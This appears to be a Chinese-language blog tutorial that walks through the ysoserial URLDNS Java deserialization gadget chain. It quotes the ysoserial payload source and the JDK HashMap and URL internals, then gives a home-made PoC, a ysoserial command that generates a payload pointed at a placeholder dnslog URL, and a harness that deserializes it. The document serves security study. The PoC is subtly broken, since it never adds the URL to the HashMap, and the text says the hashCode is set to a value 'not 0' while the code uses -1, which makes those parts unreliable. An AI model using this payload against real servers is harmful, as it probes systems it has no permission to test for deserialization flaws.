简介
URLDNS是一条ysoserial里面一条简单的利用链子,其利用效果主要是用来探测漏洞(只能触发一次DNS请求),并不能去执行命令
- 使用java的内置包,不需要其他包,比较通用
- 不需要回显,扩大了利用范围
利用分析
首先给出在URLDNS的利用链子
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
在ysoserial中URLDNS的利用如下
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
首先在反向序列化中readObject会将序列化数据给反序列化出来,所以以这里为入口分析
可以看到序列化的对象是HashMap,为java自带的一个类 ,进入HashMap.class类
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
直接看关键点putVal(hash(key), key, value, false, false);
这里调用了hash方法
hash
方法用于计算给定键的哈希值。HashMap
使用哈希值来确定键值对在内部数组中的位置。这个方法的目的是将键的哈希值分布得尽可能均匀,以减少冲突
在刚刚的ysoserial中可以看到这行注释
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
意思为在put操作期间,URL的hashcode被计算并缓存.这会重置 hashCode,以便下次调用 hashCode 时触发 DNS 查找
继续跟踪hash()这个函数
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
解释一下,如果key为null,则返回0,如果不为null,则调用key.hashCode()
方法计算哈希值,并将结果保存在变量h
中
看到 ysoserial
的源码中的这句话,可知URLDNS
中使⽤的这个key是⼀个 java.net.URL
对象
URL u = new URL(null, url, handler); // URL to use as the Key
跟踪URL.java文件 搜索hashCode()方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
跟踪handler发现是URLStreamHandler 对象
(的某个⼦类对象)
transient URLStreamHandler handler;(transient 是一个 Java 关键字,用于修饰成员变量。被 transient 修饰的成员变量在对象序列化时不会被保存。)
跟进到URLStreamHandler.java中的haahCode()
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
看到这里调用了 getHostAddress()
方法,继续跟进
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
可以看到这里的 InetAddress.getByName(host);是根据主机名获取对应的ip地址,相当于进行一次DNS查询,到这里达到这条链子的最终目的触发一次DNS查询
最后来梳理一下思路,在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value. 所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中. 而恰好, URL 这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求
那么要构造这个Gadget,只需要初始化一个java.net.URL对象,作为key放在java.util.HashMap中;然后设置这个URL对象的hashcode为初始值不为0,这样反序列化就会重新计算其hashCode,触发到后门的DNS请求,否则不会调⽤ URL->hashCode()
.
来试着构造自己构造一下poc
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class test {
public static void main(String[] args) throws Exception {
//创建一个hashmap实例
HashMap hashmap = new HashMap();
//你的dnslog地址
String url = "http://xxxx";
//初始化⼀个 java.net.URL 对象
URL u = new URL(url);
//根据之前分析的思路我们要让这里的hashcode初始值为-1,否则不会触发RLStreamHandler.hashCode()方法
//所以我们需要通过反射来修改hashcode的值
Field f=Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.setInt(u,-1);
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser"));
oos.writeObject(hashmap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser"));
ois.readObject();
}
}
链子利用
java -jar ysoserial-all.jar URLDNS "http://xxxx" > a.txt
对a.txt进行反序列化操作
package Reflect;
import java.io.*;
public class Test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream("a.txt的绝对路径"));
Object o1 = o.readObject();
System.out.println(o1);
}
}
成功请求 至此分析完毕